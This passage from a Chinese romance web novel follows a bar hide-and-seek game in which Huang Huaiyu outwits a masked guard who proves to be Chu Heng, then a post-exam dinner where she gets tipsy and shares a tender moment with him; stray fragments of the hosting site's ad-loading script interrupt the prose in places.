她立刻踮起脚,凑上前。 “应该还有别的方式,才能证明你抓住我了,对吧?” “不然你不是早就碰到我了吗。” “……” 那人沉默。 但是右手却把黄怀予的手臂捏得越来越紧,带着一股被背叛的淡淡怒气,像是在知道了自己被骗以后过来兴师问罪。 黄怀予像是有读心术,赶紧说: “我没骗你!” “我没想跑,我刚刚是尿急,想去二楼上厕所。” …… 这个理由听上去可信性十分不足,但是联想到说话的人的性格和她那种死皮赖脸的语气,这个理由居然也变得好像合理起来。 “哎呀!”黄怀予心里着急,想赶紧上楼去抓李鸣月,不想在这楼梯口跟这个好骗但是粘人的警卫多纠缠,更何况纠缠得越久,被小周他们发现的可能性就越大。 “那你从我身上拿走一个信物,放你这押着。等会我上完厕所,过来找你。如果我没来,这信物就归你了。” 她两手都被两个不同的人拉着,只能把胯扭着送过去。 “你摸摸,在口袋里,我的手机。你拿走吧。” 那人定住了很久,似乎终于同意了。他没放开黄怀予的手,另一只手慢慢伸了下去,去摸她的裤子口袋。 裤子口袋这个位置有些亲密,那人始终保持着礼貌,没有碰到口袋里面和皮肤相贴的那一面,只是把口袋拉开,伸手进去摸索,全程都和黄怀予的身体保持着悬空的距离。 可是摸了半天,却什么也没摸到,口袋里一片平坦。 他骤然收回手,脸上已经染上一丝薄红。 黄怀予完全看不见,她只是感觉到对方像摸到烫手山芋一样把手缩回去了。 她露出得逞的笑。 她更积极地走上前一步。 “你摸呀,在里面,我没骗你。你手往下面再伸一下就碰到了。” 对方像是有点生气,一直没动,半晌才默默地再次把手伸进去。 继续往下,果然摸到了。黄怀予确实没骗他,她裤子口袋里确实有一个硬邦邦的扁扁的长方体,摸着确实是手机。 他顿了一下,想把手机抽出来。 可是下一秒黄怀予就微微抬起了大腿,裤子褶皱叠在一起,手机被紧紧地夹在里面,只是捏着一个角的话,根本抽不出来。 他抽了好几次,发现想要抽出来,就只能继续往下伸到更深处,而到了那里基本上就一定会碰到黄怀予的大腿根。 “……” 他立刻有些恼怒地收回手,深呼吸几口,红色从他的脸一直蔓延到了脖子。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可是在黑暗里,他这副恼人的样子却没有人看得见,只有他自己能感受到自己加快的心跳和滚烫的脸。 “……”黄怀予所有诡计终于得逞了,笑得十分开心。 她料定他不敢把手伸进去。 “这可是你自己不敢拿了。” “你看你这人,胆子可真小。” 黄怀予揶揄的声音在耳畔响起。 她又凑上前说:“要不这样吧,你现在拿不到我的信物,那你就给我一个你的信物吧,我们交换。公平吗?” ……完全不公平。 一个东西没拿到,反而搭进去一个。 但是黄怀予言之凿凿,语气肯定,循循善诱,非常像那种鼓动人心的成功学演说家。 似乎两人之间的交换关系确实就是这样的,你拿不到我的,那你就给我一个你的,反正都是作为交换信物来押着,表示的意思都是一样的。 …… 那警卫还没有完全点头,黄怀予的左手就立刻等不及般伸进了他的裤子口袋里摸索。 果然,她真的摸到了东西。 她迅速抽手出来,紧紧捏在手里,认真摸了一下。 这东西,她一个高考生很熟悉。 ——好像是那种长长的便利贴,撕下来是一条一条的,可以贴在书的最右边,作为指引。 !! 她果然猜对了。 如果警卫(或者鬼)抓人需要有什么标志的话,那就一定是在被抓的人身上留下什么记号,才能证明他们抓住了人。 她看见所有鬼都披着一条白色大床单,本质上只是起到一个造型上的作用,实际上行动起来非常不便,不然那几个傻鬼也不会动不动就互相绊倒,爬都爬不起来。 床单上不会有口袋,他们身上也没带包,所以东西肯定在床单里面的衣服口袋里。 能装进衣服口袋里,重量不能大,那一定尺寸很小。 ——不是记号笔,就是贴纸。 她迅速把东西塞进了自己的口袋里,也没管那人的反应,说: “现在我有你的信物了,绝对不会背叛你,绝对不会骗你。” “你先放开我,我们上二楼去上个厕所,上完就下来找你。” 那人不说话,依然不放手。 黄怀予眼见东西都到手了,就差最后一步了,简直心急如焚。 这时右手还被苏琬捏了一下,像是也在提醒自己,再纠缠下去夜长梦多。 她看看周围,指指这里的大门。 “你看,你要是不信我们,你就在这里等着,我们上完厕所一定会下来,这里就是必经之路,你绝对可以抓到我们。” ——这话是真的有几分道理,是黄怀予今天晚上说的这么多乱七八糟的话里,最理性的一句话了。 “……” 那人似乎终于松动了,手上力气逐渐变小。 黄怀予感觉到右边苏琬的手已经在黑暗中悄悄搭上了大门的拉手,两个人都已经蓄势待发,只等那人放手。 …… 他知道。 他在黑暗里的视力很好。 他一下子就能看见苏琬已经搭上了大门的手。 两人甚至已经做好了起跑准备了。 他放开了手。 果然,像第一次一样,眼前的女孩一下子跳起来,紧紧牵住旁边女孩的手,两个人拉开楼梯间的大门,迅速冲进了黑暗里。 黑暗里突然出现了一道光。 是她打开了手电筒。 两个人在手电筒的微弱光亮下看清了脚下的楼梯,三步并两步就跑了上去。 “我没骗你!” “现在我有你的信物了,绝对不会背叛你,绝对不会骗你。” 嗯。 她说的每句话,他都记得,他都相信。 117. 第 117 章 “什么声音?” “在那边!” 小周几人一下子听到楼梯间的拐角传来“吱呀——”的大门推动的声音,立刻精神一振,立刻向楼梯间的方向跑去。 …… 黄怀予和苏琬两个人窜上二楼。 整个二楼完全没开灯,漆黑一片,安安静静。 楼下传来混乱嘈杂的模糊脚步声,似乎好几个人都跟着来到了楼梯口处,还夹杂着几声“就在这”的叫嚷。 黄怀予迅速关掉了手电筒,拉着苏琬闪到了左边拐角的墙壁之后。 “吱呀——” 门又被拉开,吴建国的大嗓门传过来。 “我来!” 他被抢走了手电筒之后,似乎是愤愤不甘心,一直都想表现自己,于是一听到楼梯间这里有声音,就立刻冲了过来。 却没想到一打开门,入目一片黑暗,啥也看不见,越往里面的楼梯深处就似乎越藏着什么恐怖的东西。 他赶紧刹住脚步,立刻变怂,转头结结巴巴地说: “老大,……黑的。” “让开!” 小周恨铁不成钢推开他,拿着手电筒往里面照——只有黑乎乎的楼梯,没看见一个人。 “奇了怪了,这两个人今天晚上是隐身了?” “那这扇门怎么会响?” “对啊,一定是有人拉了门上了二楼。” “老大,我们要上去找吗?” 周围的鬼七嘴八舌地讨论着。 小周思考了一下,回头说:“楚先生呢?他刚刚就站在这个门口了,说去旁边找人了。” ——“没找到。” 人群的右边突然传出一道冷淡的声线,几个人吓了一跳,去照,果然看见楚恒独自一人站在楼梯间右边不远处的黑暗里。 吴建国不禁咋舌。 这人是真牛,没有手电筒,居然就这样一直藏在暗处,没人叫他的话他也不出声。 他长得清秀精致,浓眉大眼的,皮肤特别白,融在黑暗里简直像鬼一样。唯一给人一点安全感的是,他身上穿着黑色的cos警卫服,脸上表情也是冷若冰霜,看着像执法严明的警察。 中国人天生对穿制服的有好感,吴建国完全忘了此时此刻自己才是那个鬼,他终于有了一点安全感,往楚恒身边靠过去。 “楚先生。”小周总算松了口气,“没找到没关系,现在有了新线索。” “加上楚先生,我们现在就有了五个人。” 小周给出最后的策略,“三个人去二楼找,两个人在一楼继续找。” …… 三个人去二楼? 吴建国往黑乎乎的楼梯间里望了一眼,不由自主咽了口口水。 他可不想被老大派去二楼啊! 1969装修风格走的是美式复古路线,楼梯间从上到下都是硬邦邦闪着光泽的铜色台阶,上面层层叠叠的复杂管道充满金属摇滚质感,墙上还贴着各种泛黄做旧的乐队海报,手电筒黯淡的灯光一扫过去,十几个朋克白男一个个全部盯着自己——吴建国腿都有点软。 突然,有什么东西在他脑子里一闪而过。 他胆子小不敢去黑乎乎的二楼,黄怀予胆子也小啊! 她一定也不敢去二楼! 此时此刻吴建国绝顶聪明的大脑完全没有意识到黄怀予已经抢走了他的手电筒,他只是拍拍脑袋骤然出声: “老大!我懂了,这是调虎离山!” 他振振有词地分析。 “黄怀予和苏琬故意拉了这个门,发出声音,让我们以为她们上了二楼,放松对一楼的搜索,如果我们所有人全部都上二楼,那就正中她们下怀!” “不然,她们什么要上二楼?游戏活动空间一直是一楼大厅,怎么会有人临时跑到别的地方?” 他越说越有道理,其他几个人越听越佩服。 小周豁然开朗。 他拍拍吴建国的肩膀。 “建国,你可真聪明!” 小周迅速推翻之前的分析,“差点中了调虎离山之计!” “所有人!不许上去,把门关上,继续在一楼好好找!” …… 楼梯口的大门又“砰——”的一声关上了。 危机解除,黄怀予重新打开手电筒,和苏琬一间一间寻找起来。 二楼不大,但是也有四五个房间,每个房间大门都是紧闭着的。鉴于李鸣月的音乐人属性,黄怀予还严重怀疑她把房间门和墙壁都做得超级隔音,所以扒在房门听里面有没有声音这种傻办法都不一定能有效。 时间一分一秒过去,两人在黑暗中轻声寻找许久,也一无所获。 也不能直接转动门把手,万一真的是那间房,弄出来的动静很容易被里面的人发现。 更重要的是,她们现在只想要找到李鸣月一个人。 ——最好,是李鸣月单独一个人的场合。 她做什么事的时候会一个人呢? “!”黄怀予突然想到了什么。 …… 二楼尽头的卫生间里。 李鸣月哼着歌提裤子,来到洗手池旁边洗手。 她心情很好,已经开始对着镜子演练起等会抓到黄怀予和苏琬的时候,自己要用什么表情来迎接自己的外甥女。 ——结果她才刚走出洗手间门口,面前就闪过一个白色的人影,额头霎时间被人贴了一张白色的纸条。 明明应该在一楼乌漆嘛黑的大厅里被吓得屁滚尿流的黄怀予,此时此刻就堂而皇之站在自己面前,得逞地扬扬眉毛,笑眯眯地说:“抓到了。” 旁边,苏琬举着手机,正在录像。 “全程视频记录,别想抵赖。” * 二楼的监控室里,灯光明亮,宽敞干净。 喻轻泉坐在座位上盯着电脑屏幕,饶有兴致地看着监控里以小周为首的几个鬼像没头苍蝇一样在空旷的一楼大厅里转来转去。 谷奕坐在一边的沙发上,头上还贴着一张不被允许摘掉的白色纸条。他捧着脸,两条长腿可怜兮兮地瑟缩在小小的懒人沙发里,脸色像丧家之犬一样难看。 突然门打开,李鸣月满脸黑线地出现在房间门口,头上还贴着一张和谷奕一模一样的白色纸条。 “反杀完成!” 黄怀予和苏琬从李鸣月身后蹦出来,得意洋洋地接收着房间里的人对自己惊讶的膜拜,慢条斯理地给喻轻泉额头上也贴上了白色纸条。 谷奕眼睛瞬间亮了,大喊:“杯姐牛逼!苏琬牛逼!快救我!” “……”李鸣月困兽犹斗,都到了这份上还不愿意承认自己输了。 她嚷嚷着游戏规则,被贴上白色纸条的意思就是死亡,因此贴上之后就丧失所有行动能力,不能自己摘下。但是如果被别人摘下,就能复活。 她垂死挣扎道:“你把谷奕条子给摘了,他就复活了,这样你们队加上谷奕就有三个人。现在喻轻泉和我都被贴了条子,我们等他们上来,你们再继续跟他们几个警卫比,就比贴纸条,看谁最后赢。” 黄怀予:“继什么续?游戏到这里都结束了!你都被我抓了!” 李鸣月口若悬河地劝说:“反正你们都考完了,彻底没有正事了,多爽啊!这游戏多好玩,你们不想再多体验一会吗?” “……”这话倒是一下子说到了黄怀予的心坎上。 她早就饿过劲了,现在也不着急吃晚饭。自己才刚刚变成了占据优势的一方,才刚刚体验到这个游戏的爽感,现在结束就有点太可惜了。 想到这里,黄怀予露出一个满意的笑容,“小李,说得有理。” 她瞬间掌握大局,回身就一屁股坐在电脑前李鸣月的位置上,极其得意,翘着二郎腿欣赏了一下李鸣月怨念的眼神。 欣赏够了,她观察了一下桌上的物品,拿起了一个手麦,清清嗓子,学着李鸣月系统音语气:“小周,你先上来。” ——果然下一秒,被加了电音的系统音就再次出现在一楼大厅里。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 她很是满意地看着电脑屏幕上小周瞬间停下动作乖乖走向楼梯间的动作,转身把口袋里的白色纸条分给谷奕几张。 “你不是刚刚让小周贴了纸条吗?给你一个复仇的机会。” 谷奕立刻来了精神,接过纸条,站在门边,严阵以待。 李鸣月一看,黄怀予这是打算各个击破?一个一个把下面的人叫上来,等人一进房间就贴纸条? 李鸣月更慌了,那鬼不是必输吗?这到最后不还是一样的结果吗? “……” 她立刻趁旁边人不注意,慢慢蹭到电脑桌前,然后以迅雷不及掩耳之速在电脑键盘上敲了一下。 “叮铃铃——” 下面立刻响起刺耳的警报声。 小周和所有的鬼一下子停住动作,神经立刻紧绷起来,电脑屏幕上显示他们已经全部停止搜索,全部走向楼梯间准备上来。 “操!” 黄怀予一下子没防住,怒视李鸣月,“你这人有没有游戏精神!” “说好的贴上纸条就等于死了呢!你死了怎么还动!” 李鸣月悻悻收回手,“好好好。我接下来不动不就行了。” “……” 黄怀予瞪了她一眼。 估计现在以那几个鬼的速度,他们已经正在上楼梯了。 黄怀予看了一下这一房间的人,她们这边也就苏琬谷奕和她三个人,如果直接对上那边四五个鬼,被反杀的概率很大。 警报声已经响了,小周已经起了疑心,现在自己再对着话筒演什么已经没什么信服力了。 她想通以后,干脆不装了,让谷奕坐了回来,主打一个随心所欲的智取。 体力真的跟不上了,跑了一晚上,累都累死了。 反正李鸣月也抓到了,还拍了视频,这口气也出了。现实世界自己能吃到多少炸鸡翅,才是她最关心的。 她索性静静等着小周和那几个鬼进门。 …… “老板?你在吗?” “豆皮豆皮,我是面窝!” 门外传来小周谨慎的敲门声,李鸣月骂了一句,“你还真演上警匪片了?还对什么暗号?直接进来!” 外面沉默两秒,门直接被打开。所有人一个个进来,一字排开。 明亮的灯光下,黄怀予这才发现,他们这几个鬼一个个都狼狈得不行,身上白色的床单多了无数只不知道是谁的脚印,看上去喜感十足。 ——她刚想狠狠嘲笑一下小周,结果下一秒,她就在人群里看见了那个男人。 那人是唯一一个穿着黑色警卫服的人,带着金色面罩,浑身干干净净,身姿挺拔,黑色警卫制服衬得他整个人高挑清瘦,灯光下,他就那样一瞬不瞬地看着她。 “……”笑容僵在了她脸上。 黄怀予莫名有点心虚,毕竟是骗了人家两次,她摸了摸鼻子。 眼不见为净,她干脆拿起了李鸣月桌上的鸡尾酒,吃了两块桌上的哈密瓜。 李鸣月很生气,大声质问小周怎么找了这么久,都没发现黄怀予和苏琬悄摸摸上了二楼,还把她给抓住了。 “为什么这么久都没抓到黄怀予!” 小周委屈,“她来无影去无踪,简直像可以隐身。” “为什么她拿到了手电筒!” 吴建国委屈,“她们俩趁我在钢琴边坐着休息的时候偷袭我!” “为什么她有小白条!” “……”这个问题两个人都无法解释了,他们几个互相看看,无法回答。 李鸣月大怒,指着楚恒问:“楚恒!你说!你在一楼看见什么了!” ——“什么?!” 黄怀予发出一声尖叫,嘴里的哈密瓜喷了出来。 她眼睁睁看着那个人站着一言不发,就那样盯着她。 一只白皙修长的手缓缓覆盖上金色的面罩。 面罩摘落,露出一张白皙干净的脸,和一双深邃的桃花眼。 ……真的是楚恒。 118. 第 118 章 黄怀予惊呆了。 刚刚所有发生过的事,都一幕幕浮现在她脑海里。 那紧紧抱着自己、抓着自己手臂不放、被迫伸手进她裤子口袋、屡次放她走还屡次被她骗的人…… 都是楚恒?! 呼吸交织、胸腔相贴、体温重叠,被他整个人压在狭窄角落里…… 黄怀予瞪大眼睛,一想到两人在黑暗里称得上暧昧的亲密接触,脑子像被人打了一闷棍,从后脑勺一直麻到脚后跟,什么反应也做不出来。 ……她很难形容这种感觉。 她可以和陌生单身男人一起玩脸贴脸真心话大冒险,只要对方长得帅,她就没有任何心理负担。这就跟在游戏和网络上喊老公一样,说说而已,过过干瘾。 但是一旦说那人是楚恒——黄怀予只觉得浑身上下都泛起一股凉意。 好歹她也是真的有点喜欢过楚恒的,楚恒在她心里也算特别吧?黄怀予心想人生中会遇见那么多男人,一般的男人都是宾馆,但是某几个特别的男人就是家,她只是犯了所有女人都会犯的错误。 她立刻滑跪,“楚老师!” “这是游戏!游戏!” “你千万别当真!之前那些都是误会!我没有骗你!” 楚恒还未开口,黄怀予就已经一股脑说了一大堆,疯狂解释自己拿到小白条的过程中那些话都是真话。 所以在场其他人也多多少少猜到楚恒是叛变了。 “楚恒!” 李鸣月咬牙切齿,“没想到你个浓眉大眼的也背叛革命了!” “对对对!”黄怀予像看到希望,“你看,李鸣月已经觉得你叛变了,已经不相信你了,你现在就应该彻底叛变!我可没骗你,这是我计划中的一部分……我的意思是,你先别急,等我赢了,你要多少奖金还不是我说了算吗?” “楚恒!”李鸣月义愤填膺,“劝你现在回头是岸!我还接受你!你现在冲过来把我头上的条子摘了,我照样给你发奖金。” 此话一出,房间里短暂地安静了一会,所有人都睁着眼看着楚恒会怎么样做出选择。 他却充耳不闻,就这样定定地盯着黄怀予看。 ……黄怀予被看得浑身不自在,脸也红了。 李鸣月左看右看,一脸不敢置信。 “好好好,你选跟黄怀予一起是吧?她给你了什么好处,你这么为她卖命?” 她被气得半死,瘫在座位上,闭上了眼,像是对结果已经认命了。 黄怀予立刻冲一旁的谷奕和苏琬使个眼色。 两人会意,立刻从后方突袭出来,左右手一手一根纸条,直接贴在了尚未反应过来的四个鬼的脑门上。小周和他的手下们齐齐整整全都英勇牺牲了。 ——现在场上局势瞬间逆转,对方队伍只有楚恒一个人没有被贴条了。 按道理说,他现在还可以选择帮队友,把他们头上的条给揭下来。 于是小周大声喊:“楚先生!快帮我们摘了!” 李鸣月躺在她的懒人沙发上,闭着眼睛,像是是十分疲惫,叹了一口气。 “小周……别喊了,大势已去。” “这人绝对帮黄怀予。” 果然,楚恒像是根本都没有听到周围人的声音,就这样一步步,走到了黄怀予面前。 他眼神直勾勾的,像是燃烧着一些黄怀予看不懂的情绪。 她一下子有点害怕,晃了晃手里的纸条,“我……我可以贴你的!贴了你,你就不能动了!你可别乱来。” 他目不转睛,只是缓缓伸出右手,握住了她的手腕。 “你拿了我的信物。” 他沉声说。 黄怀予挠挠头,“给了我的,就别要回去了吧。” “是你说的,你拿了我的信物,就不会背叛我,不会欺骗我。” “……” 黄怀予心想此时此刻终于还是来了,欺骗男人感情是要还的,她只能捏紧手上的纸条,挤出一丝笑容,“女人在游戏里的话,你也信?” 他听到这话,眉心微微蹙起,眼里满是执着,像是一定要追问出一个结果。 “所以那些话,都是假的吗?” 黄怀予一愣。 他贴近,在她耳边,用只有两个人能听到的声音说道: “扯我的衣角,抱我,抓我的手臂,让我别走,说发誓绝不骗我,和我交换信物,摸我的口袋……” “全部都是假的吗?” 他离自己太近,温热的呼吸喷到她脖颈上,黄怀予脑子霎时间一片空白。 身体距离拉近的一瞬间,那人的发丝擦过她的鼻尖,她终于闻到了那股熟悉的味道——很淡、很淡的小苍兰香味。 黄怀予脸爆红。 “你……”她想问为什么之前在一楼的时候闻不到他身上的味道,又觉得这话完全说不出口,于是只说了一个“你”字就愣怔地看着眼前这张放大的俊脸。 可是看见她这副欲言又止的表情,楚恒却好像意识到了什么,嘴角慢慢勾起了一个了然的笑。 他头压得更低,几乎是贴着她的耳朵,轻声缓慢地说: “我换了沐浴露,没有用香水,换了警卫服。” “但是好像……忘记了洗发水。所以,还是让你闻出来了。” !! 他的意思是说,他为了不暴露自己的身份,才特地做这些事掩盖住味道? 可是他怎么会知道她会把他身上的味道当成身份识别标志? 也许是黄怀予此时此刻脸上的表情太傻,他似乎是被逗笑了,声音里带了一丝愉悦。 “你之前凑到我胸口,闻我的时候,我看到了。” “我在黑暗里的视力很好。” …… 黄怀予感觉自己终于稍微清醒了一点。 因为她还能想起来,她和楚恒现在不是在无人的僻静角落——而是在明亮宽敞的监控室里,周围还有林林总总八九个人围观。 她浑身一颤,立刻往后退,跟楚恒拉出一个安全距离,然后小心翼翼绕过楚恒往后看。 ——果然看见后面所有人全部都一副看见鬼的样子。 这下不是小周扮的鬼了,这下是真鬼。 小周嘴巴几乎能塞进一个鸡蛋。 他从来没有见过楚恒离哪个人这么近过。 楚恒来1969当歌手也有大半年了,平常寡言少语,天大的事也不会有什么多余的表情,尤其是不喜欢别人碰他,不小心碰了一下他能冷着脸避开,三天都不跟你说一句话。 这么亲密的动作,这么近的距离,这么暧昧的贴面耳语…… 怎么看都不会出现在这两个人身上吧! 一个性格孤僻,老板以前的学生,就算再糊也是上过热搜的艺人,偶尔来酒吧唱两首歌,唱完就走绝不多停留。 一个呼朋唤友,老板的外甥女,咋咋呼呼嘻嘻哈哈,是一个连学校都很少出的小镇高中生。 楚恒和黄怀予之间的交集是? 小周想破脑袋,也只能想出《武林外传》里赛貂蝉那句经典台词:“居然是零耶!” ——“卧槽!” 谷奕的叫声从后面传来,骤然打破屋内尴尬怪异的寂静。 “哥们儿!你挨杯姐那么近干什么!你俩说什么悄悄话,居然还不能被我听见!” “……” 感谢这些人当中最沉不住气的那个人,喊出了大家心中都有的疑问。 屋内一片寂静,所有人都眼观鼻鼻观心眼珠子转来转去,最终所有人却还是选择闭口不言,一个个全都不由自主地看向了角落里躺在懒人沙发上的那个女人。 ——李鸣月抖 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着下嘴唇,目光黏在那两人身上来回逡巡,手指收紧,指甲都嵌进了肉里,最终还是一言不发,像是想到了什么事情,面色带了些阴沉。 “我输了。” 她承认道。 * 整场游戏,终于随着主办方的认输,到了黄怀予最期待的环节——吃晚饭。 李鸣月早有准备,之前特地请了两个楚味楼的厨子过来,现在陆陆续续摆上来十几盘菜,琳琅满目应有尽有。 四人坐在一张玻璃桌子上,李鸣月端了一杯可乐,也跟着坐了下来,“吃吧。” “还有一盘炸鸡翅,专门给外甥女你准备的。” 谷奕苏琬也没比黄怀予好到哪里去,从中午一直饿到了现在,三个人拿起筷子就开始大快朵颐。 实在是太香了——黄怀予大吃大喝的间隙依稀看见桌上那盘炸鸡翅,动作顿了一下,总算想起了坐在自己对面的那个连续被她骗了两次的男人。 她脸上出现一丝不好意思,抬头瞄了他一眼,带着一点讨好夹了三个鸡翅出来,推到了楚恒面前。 “说好要分给你的。” 她特地强调了说好,像是强调自己是一个信守承诺的人。 “他不……”李鸣月想说楚恒节食多年,不吃油炸食品,自己特地给楚恒准备了一盘凯撒沙拉——结果就看见楚恒面色平静地接过,吃了起来。 “你吃这个?”谷奕看了楚恒一眼,他也知道楚恒因为职业需要要身材管理。 黄怀予:“谁说他不吃,他连热干面都吃!比你有品位。” 谷奕挑起眉,咧了咧嘴,“你说谁没品位?” “你。” “切。我看是你。热干面那么难吃,你也吃得下去。” “你再说一遍!你可以侮辱我,但是不能侮辱热干面!” “停——好了!”苏琬十分及时地插进来,“快吃!” ——刚刚还吵吵闹闹拌嘴的两个人突然闭了嘴,像是被幼儿园老师当场捉住一样,嘻嘻哈哈互相笑了一下,乖乖低头吃起了菜。 桌上又重新安静下来。 苏琬却看见对面坐着的李鸣月把手里拿着的杯子放在了桌子上,“啪——”的一声,动作有些重。 她感到有些奇怪,去看李鸣月的神色,才发现她紧锁眉头,一会盯着楚恒,一会盯着黄怀予,脸色越来越不好看。 “……”她了然,看了一眼坐在对面面色如常慢条斯理吃着炸鸡翅的楚恒。 能看出来,他很少吃这种油炸食品,动作很慢,但是却垂着头,把黄怀予推过去的鸡翅一口一口吃完了。 苏琬又瞄了一眼坐在自己旁边的黄怀予——漩涡中心的人此时却完全不care饭桌上的暗流涌动,正头也没抬地剥小龙虾。 ……表面平静、实际却各怀心思的一顿饭终于吃完了。 李鸣月扔过来几本硬壳酒单过来,说今天随便喝。 这辈子第一次喝酒的黄怀予眼睛都亮了,也没心思想别的事了,两杯鸡尾酒迅速喝下去,整个人都红了起来,开始在1969里转圈大笑。 “你看,喝醉了吧,最多就两杯。” 李鸣月一副阅人无数的样子说道。 苏琬赶紧上去扶住她,“要不我先带她回去?” “我才不回!” 黄怀予甩开她的手,脸上笑得很开心。 “你想到什么开心的事了?”谷奕坐在沙发上,手臂撑在大腿上,弯腰,似笑非笑地看她。 黄怀予坐在地板上,看着谷奕好整以暇的脸,眼前晕晕乎乎,伸出三根手指。 “第一,考完了!” “第二,考完了……” “第三,终于考完了。” 她声音越来越小,情绪越来越低。 最后一句话喃喃自语完,她呜呜地哭起来。 119. 第 119 章 刚高考完的醉鬼的眼泪来得猝不及防,在场的人一下子都有点傻眼。 苏琬赶紧上前抱住她,轻轻地拍她的背。 谷奕有点愣神,一米八/九的大个子站起身来蹲到她面前,一向潇洒肆意的脸上多了点纠结,犹豫地伸过去一张卫生纸,“杯姐……别哭啊。” 李鸣月撇撇嘴,安静地看着坐在地上流了满脸眼泪很是可怜的女孩,过了半晌,慢慢说道: “哭吧。……是挺值得哭一场的。” 她话里带着一丝惆怅,还有一个二十八岁的女性对青春的淡淡缅怀。 李鸣月其实很长一段时间以来,都觉得她和黄怀予之间除开亲戚关系,更像朋友。只是加上了这层纯女性亲缘关系的血脉套子,这样的关系好像变得更紧密了。 她是楚门小镇做题家一代,黄怀予是楚门小镇做题家二代。九零后和零零后,十年的时间间隔,不一样的时代背景,一样的生命轨迹。 她不知道黄怀予到了二十八岁会不会像她一样回到家乡开个酒吧,也许那个时候黄怀予已经飞到澳大利亚打袋鼠了也说不定——但是她却隐隐知道,她走在黄怀予前面,黄怀予跟在她身后,她们的十八岁都一样悲伤敏感。 李鸣月很有做“小姨”的自觉,反正她一个蕾丝边也没准备生小孩。如果十八岁的黄怀予是踏着她的脚印,走在她身后,一步步来认识这个崭新的世界的话,那她只希望,自己留下的脚印可以给黄怀予那么一点点指引就好,不至于在黑夜中迷失方向。 如果亲眼看着理想被现实世界所覆灭是一条成长的必经之路,那她只能乐观地祝福,四五年后,二十几岁的黄怀予能从这种无法逃避的痛苦里咬牙不让自己麻木,和朋友们一起坐下来吃顿饭,喝杯酒,努力做点让自己快乐的事。 李鸣月起身去吧台调了一杯温热的蜂蜜水,递给苏琬。 “让她慢慢喝下去。她刚刚晚饭吃了挺多的,别又像第一次来1969那样,直接吐了。” 苏琬微声细语哄着她喝了一点进去,她哭得太厉害,呛了一大口,不小心把苏琬手里的蜂蜜水泼了一大摊到谷奕裤子上。 那是FREE的裤子,限量版的,谷奕第一次穿。 他低头看了一眼,也没在意,起身去桌上拿卫生纸,又回来蹲下给黄怀予擦脸,嘴角挂着有点散漫的笑,“哭得这么厉害。” 醉鬼大喊,“那又怎么样?” 谷奕给醉鬼擦干眼泪,正色道:“不怎么样。你痛快哭吧,我和苏琬都在旁边。” …… 她哭累了,倒在座位上,突然干呕两声。 “卧槽!” 李鸣月吓了一跳,心想还真是怕什么来什么,她立刻跳起来去厨房,“苏琬谷奕!快帮忙!拿垃圾桶!拖把!塑料袋!” 两人没反应过来,黄怀予又干呕两声,两人才终于意识到什么,手忙脚乱地跑去了厨房和卫生间。 ……一时间,大厅里只剩下楚恒和黄怀予两人。 黄怀予并不想吐。 她只是哭得很累,又没喝多少水,喉咙太干。 但是旁边那几个人好像完全不相信她,她才干呕几声,那些人就如临大敌地跑了。 她酒精上头,只觉得很难受,她像一只快要死了的鸟,整张脸都是红的,感觉自己可以听到自己沉重的呼吸。 突然,身边好像过来一个人。 那人是个男人,声音低沉,却很温柔,身上有着令人安心的香味。 他好像模模糊糊地在说话。 黄怀予没听清,但是她脑子还清醒,她猜对方多半是问她现在感觉怎么样。 她掐了自己一下,让自己保持清醒,然后摆出了一个自认为非常认真的表情,说:“我真的没事。” 对方却还在说着一些什么,他的声音很低,但是却很柔和,平淡,像是一根羽毛拂过她的脸。 这声音简直像ASMR,她下意识越来越困。 但是她盯着那人不停说话的嘴唇,直觉不回应人家就直接睡着有点不礼貌,于是她只能努力睁大眼睛,认真地、全心全意地,努力聚焦在他的唇上,辨认对方的意思。 ……功夫不负有心人,她终于听清楚了。 他那张帅得有点让人头晕的脸凑过来,一双桃花眼里藏着波光粼粼的水纹。 他轻轻地问: “考完了,你看见月亮和星星了吗。” …… 黄怀予终于听到了他说的话,但是她却没听懂。 她双眼里满是迷离的水雾,唇微微张着,双颊酡红,露出了一副极其不设防的表情。 看到她这个样子,楚恒轻笑了一声。 随即凑得更近,温热的呼吸喷在她脸上,嘴唇缓慢地、轻微地一开一合,极其有耐心地、温柔地解释着。 他说: “月亮被云层遮住了,所以暗淡。月亮淡了,星星就明亮了。” “看不到月亮,那就看星星。做不到这个,那就换一个。反正就这样活着吧,天上星星那么多,夜晚每天都会到来。” 这些话轻飘飘地飘进自己耳朵里。黄怀予眨眨眼,好像终于回忆起来,这些话好像是她自己说过的? 她喃喃。 “好像是看见了。” 黄怀予隐约想起今天走出高考考场那一刻的心情。脚步轻快,抱住了苏琬和谷奕。那一刻,她真的好像能够看见月亮和星星了。 “明天呢?” 明天? 明天是什么?太阳会照常升起吗?她会遇见什么人?快乐会一直这样降临吗?理想会一直等待着她去实现吗?世界会一直善待和她一样的每一个具体的渺小的人吗? “不知道。明天的事,我永远也不知道。” “以后的事,我也永远都不知道。” 她慢慢转了转头,直直地看向他,眼里水雾翻涌。 过了半晌,才出声问: “那你呢?你看见了吗?” 楚恒低头,看着身下和自己几乎近在咫尺的脸,目光从她水濛濛的瞳孔,慢慢往下转到她透红的脸颊,最后,落到了她饱满嫣红的唇上。 “……”他一动不动盯着她的唇,眼里慢慢涌上一些极其浓烈的情绪,喉结滚了滚,声音有些喑哑,“嗯。” “因为有你在,我今后的每一天,都能看见。” “这一点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我无比确定。” 她的世界,是万紫千红的广阔原野。十八岁的她背上旅行包,勇敢无畏地去探索未知,相信着自己拥有改变世界的力量。 而他的世界,也许以后都会小到只有她一个人——仅仅只是想到这一点,就足以令楚恒对接下来的每一天都充满期待了。 他抬起手,慢慢把她脸上散乱的发丝轻轻捋到耳后,手指擦过她滚烫的脸,黄怀予一瞬间只觉得他的手指好凉好舒服,不由得眯起眼睛蹭了两下。 结果下一秒她就明显感觉到脸上的手指一僵。 接下来那只手迅速收了回去,她迷糊之中听见那人深呼吸一下,重重喘了两声。 “……睁眼看着我。” 他有些急切的声音传来。 “你今天还欠我一个回答。” 楚恒没有听到回应。 